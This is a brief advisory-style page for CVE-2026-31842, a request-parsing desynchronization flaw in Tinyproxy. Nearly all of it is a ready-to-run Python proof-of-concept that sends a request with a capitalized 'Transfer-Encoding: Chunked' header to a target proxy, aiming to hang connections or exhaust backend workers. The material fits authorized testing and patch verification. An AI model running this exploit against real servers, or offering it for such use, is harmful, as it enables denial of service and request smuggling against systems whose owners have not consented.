CVE-2026-31842 Tinyproxy HTTP请求解析去同步漏洞

import socket def send_malicious_request(host, port): """ PoC for CVE-2026-31842. Sends a request with 'Transfer-Encoding: Chunked' (capitalized) to trigger the parsing desynchronization. """ # Construct the HTTP request with a case-sensitive header # RFC 7230 says header values should be case-insensitive, # but Tinyproxy's strcmp() implementation requires lowercase 'chunked'. request = ( "GET / HTTP/1.1\r\n" f"Host: {host}\r\n" "Transfer-Encoding: Chunked\r\n" # 'Chunked' instead of 'chunked' "\r\n" "4\r\n" "TEST\r\n" "0\r\n" "\r\n" ) try: print(f"[*] Connecting to {host}:{port}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((host, port)) print("[*] Sending malicious payload...") s.send(request.encode()) # The server might hang waiting for the body, so the socket might not return immediately # or might return a 200 OK if it forwards it blindly to a vulnerable backend that hangs. # This PoC demonstrates the triggering packet. print("[+] Payload sent. Check if the connection hangs or backend exhausts workers.") s.close() except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with the target Tinyproxy server IP and Port target_host = "127.0.0.1" target_port = 8888 send_malicious_request(target_host, target_port)